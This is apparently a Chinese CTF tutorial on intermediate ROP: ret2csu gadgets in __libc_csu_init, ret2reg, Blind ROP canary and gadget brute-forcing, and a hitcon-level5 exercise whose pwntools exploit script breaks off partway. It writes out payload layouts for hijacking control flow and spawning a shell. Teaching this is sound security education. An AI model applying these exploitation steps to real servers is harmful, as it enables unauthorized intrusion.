中级ROP
参考:https://wiki.x10sec.org/pwn/linux/user-mode/stackoverflow/x86/medium-rop/
参考:https://blog.youkuaiyun.com/qq_41202237/article/details/105913597?spm=1001.2014.3001.5501
参考:https://blog.youkuaiyun.com/qq_41202237/article/details/105913705?spm=1001.2014.3001.5501
1.原理
中级ROP主要使用了比较巧妙的gadgets
1.1 ret2csu
在64位的程序下面,如果调用了libc函数,就会存在对于libc初始化的函数 _ _ l i b c _ c s u _ i n i t \_\_libc\_csu\_init __libc_csu_init。而我们知道,64程序的前6个参数是通过寄存器传递的,可以使用 _ _ l i b c _ c s u _ i n i t \_\_libc\_csu\_init __libc_csu_init 为参数进行赋值。
1.1.1 libc_csu_init展示
下面看看 _ _ l i b c _ c s u _ i n i t \_\_libc\_csu\_init __libc_csu_init 函数:
.text:00000000004005C0 ; void _libc_csu_init(void)
.text:00000000004005C0 public __libc_csu_init
.text:00000000004005C0 __libc_csu_init proc near ; DATA XREF: _start+16↑o
.text:00000000004005C0 ; __unwind {
.text:00000000004005C0 push r15
.text:00000000004005C2 push r14
.text:00000000004005C4 mov r15d, edi
.text:00000000004005C7 push r13
.text:00000000004005C9 push r12
.text:00000000004005CB lea r12, __frame_dummy_init_array_entry
.text:00000000004005D2 push rbp
.text:00000000004005D3 lea rbp, __do_global_dtors_aux_fini_array_entry
.text:00000000004005DA push rbx
.text:00000000004005DB mov r14, rsi
.text:00000000004005DE mov r13, rdx
.text:00000000004005E1 sub rbp, r12
.text:00000000004005E4 sub rsp, 8
.text:00000000004005E8 sar rbp, 3
.text:00000000004005EC call _init_proc
.text:00000000004005F1 test rbp, rbp
.text:00000000004005F4 jz short loc_400616
.text:00000000004005F6 xor ebx, ebx
.text:00000000004005F8 nop dword ptr [rax+rax+00000000h]
.text:0000000000400600
.text:0000000000400600 loc_400600: ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400600 mov rdx, r13
.text:0000000000400603 mov rsi, r14
.text:0000000000400606 mov edi, r15d
.text:0000000000400609 call qword ptr [r12+rbx*8]
.text:000000000040060D add rbx, 1
.text:0000000000400611 cmp rbx, rbp
.text:0000000000400614 jnz short loc_400600
.text:0000000000400616
.text:0000000000400616 loc_400616: ; CODE XREF: __libc_csu_init+34↑j
.text:0000000000400616 add rsp, 8
.text:000000000040061A pop rbx
.text:000000000040061B pop rbp
.text:000000000040061C pop r12
.text:000000000040061E pop r13
.text:0000000000400620 pop r14
.text:0000000000400622 pop r15
.text:0000000000400624 retn
.text:0000000000400624 ; } // starts at 4005C0
.text:0000000000400624 __libc_csu_init endp
1.1.2 可用gadget介绍
以上的gadget存在几个可利用的点:
如果不理解就拿笔画下流程,画个998244353遍大概就能记住了!
- 从0x000000000040061A一直到结尾,可以利用栈溢出控制rbx, rbp, r12, r13, r14, r15。我把这块记为csu_gadget1
.text:000000000040061A pop rbx
.text:000000000040061B pop rbp
.text:000000000040061C pop r12
.text:000000000040061E pop r13
.text:0000000000400620 pop r14
.text:0000000000400622 pop r15
.text:0000000000400624 retn
- 从0x0000000000400600到0x0000000000400609,我们将r13赋值给rdx, 将r14赋值给rsi,将r15d赋值给edi(这里赋值的是rdi的低32位,此时rdi的高32位寄存器值为0),所以其实我们可以控制rdi,只不过只能控制低32位。这三个寄存器,是x64传参的前三个参数。此外,我们可以通过控制r12和rbx来指定我们想要调用的函数,比如说我们让rbx为0,让r12为要调用的函数的地址。我把这块记为csu_gadget2
.text:0000000000400600 mov rdx, r13
.text:0000000000400603 mov rsi, r14
.text:0000000000400606 mov edi, r15d
.text:0000000000400609 call qword ptr [r12+rbx*8]
- 从0x000000000040060D到0x0000000000400614,可以控制rbx和rbp的关系为rbx + 1 == rbp,那么就不会执行loc_40060,进而可以继续执行下面的汇编程序,比如:rbx = 0, rbp = 1。我把这块记为csu_gadget3
.text:000000000040060D add rbx, 1
.text:0000000000400611 cmp rbx, rbp
.text:0000000000400614 jnz short loc_40060
1.1.3 组合使用gadget思路
给出一个将三个gadget组合使用(其实只使用了csu_gadget1和csu_gadget2)的思路(只要知道x64下任意函数和参数的真实地址,通过以下思路可以调用x64下任意的函数):
-
通过栈溢出执行csu_gadget1,将需要的参数放入寄存器rbx、rbp、r12、r13、r14、r15;
-
然后csu_gadget1的retn执行跳转到cus_gadget2;
-
执行csu_gadget2,对x64的前三个参数rdi、rsi、rdx进行赋值,程序跳转到需要执行的函数处:call qword ptr [r12+rbx*8];
-
当要执行的函数执行完,汇编指令返回000000000040060D,继续往下执行,通过前面控制rbx和rbp,使得程序不进入loc_400600;
-
程序继续往下走,直到进入0000000000400624的retn,这个时候可以控制程序返回任意地址,比如说main()函数。

1.1.4 类似于libc_csu_init,其他可用的gadget
除了上面介绍的libc_csu_init,gcc编译时,还会有其他的gadget:
_init
_start
call_gmon_start
deregister_tm_clones
register_tm_clones
__do_global_dtors_aux
frame_dummy
__libc_csu_init
__libc_csu_fini
_fini
这里面也有些gadget,挖掘他们的性质可用进行其他方式的漏洞利用。
1.1.5 利用libc_csu_init尾部偏移,控制其他寄存器
我们知道libc_csu_init中的csu_gadget1(000000000040061A),控制了:rbx,rbp,r12,r13,r14,r15,csu_gadget2(0000000000400600)控制了: rdx,rsi,edi。
libc_csu_init尾部的偏移还可以控制其他的寄存器,比如说:
- 0x000000000040061d (csu_gadget1 + 3):就可以控制rsp
- 0x000000000040061f (csu_gadget1 + 5): 就可以控制rbp
- 0x0000000000400621 (csu_gadget1 + 7):就可以控制rsi
- 0x0000000000400623 (csu_gadget1 + 9):就可以控制rdi
通过gdb查看:
pwndbg> x/5i 0x000000000040061A
0x40061a <__libc_csu_init+90>: pop rbx
0x40061b <__libc_csu_init+91>: pop rbp
0x40061c <__libc_csu_init+92>: pop r12
0x40061e <__libc_csu_init+94>: pop r13
0x400620 <__libc_csu_init+96>: pop r14
pwndbg> x/5i 0x000000000040061A + 3
0x40061d <__libc_csu_init+93>: pop rsp
0x40061e <__libc_csu_init+94>: pop r13
0x400620 <__libc_csu_init+96>: pop r14
0x400622 <__libc_csu_init+98>: pop r15
0x400624 <__libc_csu_init+100>: ret
pwndbg> x/5i 0x000000000040061A + 5
0x40061f <__libc_csu_init+95>: pop rbp
0x400620 <__libc_csu_init+96>: pop r14
0x400622 <__libc_csu_init+98>: pop r15
0x400624 <__libc_csu_init+100>: ret
0x400625: nop
pwndbg> x/5i 0x000000000040061A + 7
0x400621 <__libc_csu_init+97>: pop rsi
0x400622 <__libc_csu_init+98>: pop r15
0x400624 <__libc_csu_init+100>: ret
0x400625: nop
0x400626: nop WORD PTR cs:[rax+rax*1+0x0]
pwndbg> x/5i 0x000000000040061A + 9
0x400623 <__libc_csu_init+99>: pop rdi
0x400624 <__libc_csu_init+100>: ret
0x400625: nop
0x400626: nop WORD PTR cs:[rax+rax*1+0x0]
0x400630 <__libc_csu_fini>: repz ret
1.2 ret2reg
1.2.1 原理
- 查看栈溢出返回时哪个寄存器(比如:eax)恰好缓冲区空间。
- 查找对应的call 寄存器(比如:call eax)或者jmp 寄存器(比如:jmp eax)指令作为gadget,将EIP设置为该指令地址,即栈溢出时用这个gadget覆盖ret。
- 将寄存器所指向的空间(即缓冲区)上注入shellcode(确保该空间是可以执行的,通常是栈上的)
1.2.2 防御方法
在函数ret之前,把所有的寄存器都清空
1.3 BROP
1.3.1 概念
BROP(Blind ROP)盲rop,用在看不到程序C代码和二进制文件的情况下,对程序进行攻击,劫持程序的执行流。因为看不到程序C代码和二进制文件,因此栈溢出的长度、栈上的canary、都需要暴力枚举。
1.3.2 攻击条件
- 程序必须存在栈溢出
- 服务器端的进程在崩溃之后会重新启动,并且重新启动的进程的地址与先前的地址一样(这也就是说即使程序有 ASLR 保护,但是其只是在程序最初启动的时候有效果)。目前 nginx, MySQL, Apache, OpenSSH 等服务器应用都是符合这种特性的。
1.3.3 攻击原理
目前,大部分应用都会开启 ASLR、NX、Canary 保护。这里我们分别讲解在 BROP 中如何绕过这些保护,以及如何进行攻击。
-
判断栈溢出的长度:暴力枚举
-
Stack Reading:获取栈上的数据来泄露canary以及ebp和返回地址
-
Blind ROP:找到足够多的gadget来控制输出函数的参数,并且对其进行调用,比如write函数或者puts函数
-
写EXP:利用输出函数来dump出程序以便于找到更多的gadget,然后写gadget
1.3.3.1 栈溢出长度
从长度为1开始暴力枚举长度,直到程序产生崩溃。
比如说:
len为枚举的长度,我们第一次发生len长度个’a’,如果程序没有崩溃,说明还没有溢出,下一次就可以发出len + 1 个’a’;如果当长度为len时产生崩溃,那么栈溢出长度就是len - 1。
1.3.3.2 Stack Reading
一般栈上canary都是以如下的方式布置的:
buffer | canary | ebp | ret
在32位程序里,canary长度为32位;在64位程序里,canary长度为64位。
canary本身可用通过爆破来获取,在1.3.2的攻击条件的第2点我们知道,canary其实是固定的,即使程序崩溃后重启canary也和原来一样。我们可用逐字节来进行爆破,每个字节最多有2 ^ 8 = 256种可能,因此32位程序只需要爆破256 * 4 = 1024次, 而64位程序需要爆破256 * 8 = 2048次。
如何进行逐字节爆破:
假设是32位程序:canary分为4个部分canary = c1 | c2 | c3 | c4,每个cx都是2字节
那么我第一次构造payload = buffer + c1,然后把payload打过去,看程序是否崩溃,如果崩溃,说明当前c1错误,如果没有崩溃,说明找到了c1。这样的过程需要进行256次。
现在我们找到了c1的值,第二次构造payload = buffer + c1 + c2,然后把payload打过去,看程序是否崩溃,如果崩溃,说明当前c2错误,如果没有崩溃,说明找到了c2。这样的过程需要进行256次。
…
总共256 * 4 = 1024 次即可找到c1、c2、c3、c4。(注意是逐字节爆破,不是一起爆破)
1.3.3.3 Blind ROP
我们在确定了栈溢出长度和canary之后,如何获取shell呢?
最朴素的想法就是ret2syscall,但是没有二进制文件,且程序可能开启了aslr,我们没有足够的gadget来进行ret2syscall。
那么如果要使用ret2libc的思路,我们就需要获取libc基地址。
可以从以下的逻辑思考:
- 想要获取libc基地址,就需要知道某些函数比如puts的真实地址和在.so的地址,将其做差。
- 那么如何获取puts函数的真实地址呢?我们就要获取got[“puts”]。
- 如何获取got[“puts”]呢?我们可以使用plt[“puts”]把所有的程序打印出来,然后找到got[“puts”]即可。
- 那现在问题就转移到了寻找plt[“puts”]。我们知道64位的elf文件,在不开启aslr的情况下0x400000位置的前几个字符为”\x7fELF“。那么我们可以枚举地址addr,假设其为plt[“puts”]的地址,让它去打印0x400000前面几个字符,判断是否为”\x7fELF“。如果是”\x7fELF“,就说明当前addr即为plt[“puts”]。但是,想要去打印0x400000位置的内容,需要有个寄存器存放这个地址来作为plt[“puts”]的参数。
- 怎么获取寻找这样一个寄存器呢?换句话说,如果我们能够找到pop rdi, ret这样的gadget,就能完成传参。但是怎么找这样的gadget呢?可以使用libc_csu_init的结尾一段的gadgets来实现,即去寻找csu_gadget1。只要找到csu_gadget1,就可以利用偏移找到关于rdi和rsi的gadget:csu_gadget1 + 7位置为 pop rsi ; pop r15; ret,csu_gadget1 + 9 位置为 pop rdi; ret。那么就可以解决函数传参的问题,且可以找到前两个参数(当前的puts()只需要一个参数,但是如果我们要去寻找write(),它就要3个参数啦)。对于第三个参数rdx,在write()函数中,用来限制输出长度,一般不会为0,但是为了保险起见,还是需要设置一下,但是几乎没有pop rdx这样的指令。这里需要说明指向strcmp的时候,rdx会被设置为将要被比较的字符串的长度,因此我们可以找到strcmp()函数,从而控制rdx。(比如说,我们只要找到了strcmp函数,把它放在栈上,劫持程序执行strcmp,那么rdx就会被控制,从而控制了rdx的取值。怎么找strcmp呢?思路放在1.3.3.3.3一起说吧)
- 那么怎么找libc_csu_init结尾的csu_gadget1呢?观察csu_gadget1的特点,它是连着6个pop,然后一个ret。因此假设当前地址addr是csu_gadget1,那么如果payload的构造如下(64位下):payload = cyclic(len) + addr + cyclic(6 * 8) + stop_gadget。如果addr恰好是csu_gadget1的话,完成6个pop,程序就会去执行stop_gagdget。stop_gadget是一段让程序卡住的代码(先这样理解,下面1.3.3.3.1再具体展开解释),这个时候程序如果卡住,说明找到了csu_gadget1;如果程序没有卡住,产生了崩溃,那么说明不是csu_gadget1(下面1.3.3.3.1再具体展开解释)。
下面对于上述的思路展开具体解释:
1.3.3.3.1 找stop gadget
我们控制返回地址时,一般会出现三种情况
-
程序直接崩溃:ret地址指向的是一个程序内不存在的地址
-
程序运行一段时间后崩溃:比如运行自己构造的函数,该函数的返回地址指向不存在的地址
-
程序一直运行而不崩溃
上面说的第3种情况程序一直运行不崩溃的gadget就是stop gadget,当程序进入这段gadget时,程序无限循环,不断运行下去。有点像贪吃蛇,当程序进入ret,又被劫持到了stop gadget,然后回到程序开始的位置。
一般来说,stop gadget找到的都是main或者 _ s t a r t \_start _start。
我们画个图来举例,比如说是找到的这个stop gadget是main():

由于brop是看不到二进制文件的,因此我们只能去猜测stop地址,假设程序是64位的,那么起始地址是0x400000,我们的addr从0x400000开始枚举,用addr覆盖ret,然后观察程序是否崩溃,如果崩溃,说明当前地址不是stop gadget,那么就把addr += 1;如果不崩溃,说明找到了stop gadget,将该地址打印出来即可。
1.3.3.3.2 找brop gadget(csu_gadget1)
当我们找到了stop_gadget,现在要去找csu_gadget1了。
再看一下csu_gadget1的结构:
.text:000000000040061A pop rbx
.text:000000000040061B pop rbp
.text:000000000040061C pop r12
.text:000000000040061E pop r13
.text:0000000000400620 pop r14
.text:0000000000400622 pop r15
.text:0000000000400624 retn
我们定义栈上三种地址:
- Probe:探针,也就是我们想要循环递增的代码地址。一般来说都是64位程序,可以直接从0x400000尝试
- Stop: 不会使得程序崩溃的stop gadget的地址
- Trap: 可以导致程序崩溃的地址
因此我们的payload可以如下构造:payload = cyclic(len) + addr + Trap * 6 + stop_gadget + Trap * 2,如下图:

如果probe恰好是csu_gadget1,那么就会把6个traps给pop掉,然后ret执行stop gadget,程序卡住,这就表明找到了csu_gadget1。
假设找到的地址为addr,那么:
- addr+ 7位置为 pop rsi ; pop r15; ret
- addr+ 9 位置为 pop rdi; ret
1.3.3.3.3 泄露plt[“puts”]
64位的elf文件,在不开启aslr的情况下0x400000位置的前几个字符为”\x7fELF“。那么我们可以枚举地址addr,假设其为plt[“puts”]的地址,让它去打印0x400000前面几个字符,判断是否为”\x7fELF“。如果是”\x7fELF“,就说明当前addr即为plt[“puts”]。plt[“puts”]的参数我们可以使用csu_gadget1 + 9来传参。
payload如下:payload = padding + p64(csu_gadget1 + 9) + 0x400000 + addr + stop_gadget。

上面的addr,如果是plt[“puts”]的话,那么程序就会打印”\x7fELF“,然后程序卡住(因为返回到了stop_gadget)。如果程序崩溃,那么说明addr不是plt[“puts”],我们就addr += 1,然后继续做同样的流程。
这里讲一下获得第三个参数rdx的方法:
一般来说,rdx不会是0,所以比如我们调用write()函数时,rdx作为写入内容的长度,还是可以进行写入内容。
但是为了保险,我们最好是要把rdx进行赋值使用,然而 pop rdx; ret 这样的gadget基本找不到。在调用strcmp()函数时,rdx会被设置为要比较的字符串长度。因此,如果能够找到strcmp(),调用这个函数,那么rdx就会被赋值,从而实现对于rdx的控制。
那么怎么找到strcmp()函数呢?
我们知道strcmp(para1, para2),只有para1和para2都是有效地址时,strcmp()函数才能够正确执行。我们前面已经知道了两个可用的gadget,csu_gadget1 + 7 和csu_gadget1 + 9。因此我们可用将这两个地址分别作为para1和para2,然后执行strcmp(),判断是否成功执行,如果成功执行,说明找到了strcmp()。当然啦,也有可能找到strncmp()和strcasecmp()函数,但是它们和strcmp()有一样的效果。
我们也可以想找plt[“puts”]一样:
payload = cyclic(*) + p64(csu_gadet1+ 9) + p64(csu_gadget1 + 9) + p64(csu_gadget1 + 7) + p64(csu_gadget1 + 7) + p64(csu_gadget1 + 7) + addr + stop_gadget
注意:第二个p64(csu_gadget1 + 9)是用来放在rdi中的,第二个p64(csu_gadget1 + 7)是用来放在rsi中的,然后程序就会执行addr,如果addr恰好是plt[“strcmp”],那么程序就会进入stop_gadget,然后卡住,和寻找plt[“puts”]的思路类似。
1.3.3.3.4 泄露got[“puts”]
现在我们已经有了plt[“puts”],那么我们就可以把整个程序的二进制全部dump出来了。整个程序的二进制都被dump出来,我们就得到了二进制文件,然后拿IDA打开就知道got[“puts”]了。
payload = ‘a’ * length + p64(rdi_ret) + p64(leak_addr) + p64(puts_plt) + p64(stop_gadget),如下图所示:

整个程序都泄露出来后,我们将其组合为一个完整的二进制文件,然后拿IDA打开即可,即可找到got[“puts”]
1.3.3.3.5 泄露libc基地址
我们得到了got[“puts”],那么就得到了puts()的真实地址。我们利用它找到libc的版本,然后找到libc[“puts”],做个差值即可知道libc的基地址。
1.3.3.4 写EXP
当已经泄露了libc基地址,那么就可用获得system() 和 "/bin/sh"的真实地址了,然后按照ret2libc3的思路写exp即可。
1.4 JOP、COP
jop:Jump-oriented programming
cop:Call-oriented programming
和rop原理基本一样,不同的是原来利用ret指令,现在利用jump和call指令
2.例题
2.1 ret2csu
2.1.1 习题信息
习题路径:ctf-challenges\pwn\stackoverflow\ret2__libc_csu_init\hitcon-level5\level5
2.1.2 程序分析
首先看一下程序的保护机制:
$ checksec level5
[*] '/mnt/d/study/ctf/资料/ctf-challenges/pwn/stackoverflow/ret2__libc_csu_init/hitcon-level5/level5'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
发现程序是64位的,没有开PIE,但是NX开了
IDA查看程序,发现程序存在栈溢出:
ssize_t vulnerable_function()
{
char buf; // [rsp+0h] [rbp-80h]
return read(0, &buf, 0x200uLL);
}
观察程序,发现程序中不存在system()函数和"/bin/sh"字符串。程序中存在write()函数和read()函数。程序中存在 _ _ l i b c _ c s u _ i n i t \_\_libc\_csu\_init __libc_csu_init,那么我们
注意:本题system("/bin/sh")无法成功,需要使用execve("/bin/sh"),至于为什么,我不懂= =
本题的漏洞利用思路如下:
- 第一次打payload,利用栈溢出组合执行libc_csu_gadgets(组合思路见1.1.3)来获取write函数的真实地址,并使得程序重新执行main()函数
- 根据write()函数的真实地址获取对应的libc版本及其execve()函数地址
- 第二次打payload,再次利用栈溢出,执行libc_csu_gadgets,这一次执行read()函数,向bss段内写入execve()和"/bin/sh"的地址,控制程序重新执行main()函数
- 第三次打payload,再次利用栈溢出,执行libc_csu_gadgets,执行execve("/bin/sh")获取shell
2.1.3 exp编写
#coding=utf-8
from pwn import *
from LibcSearcher import LibcSearcher
#context.log_level = 'debug'
level5 = ELF('./level5')
sh = process('./level5')
write_got = level5.got['write']
read_got = level5.got['read']
main_addr = level5.symbols['main']
bss_base = level5.bss()
csu_gadget2 = 0x0000000000400600
csu_gadget1 = 0x000000000040061A
def csu(rbx, rbp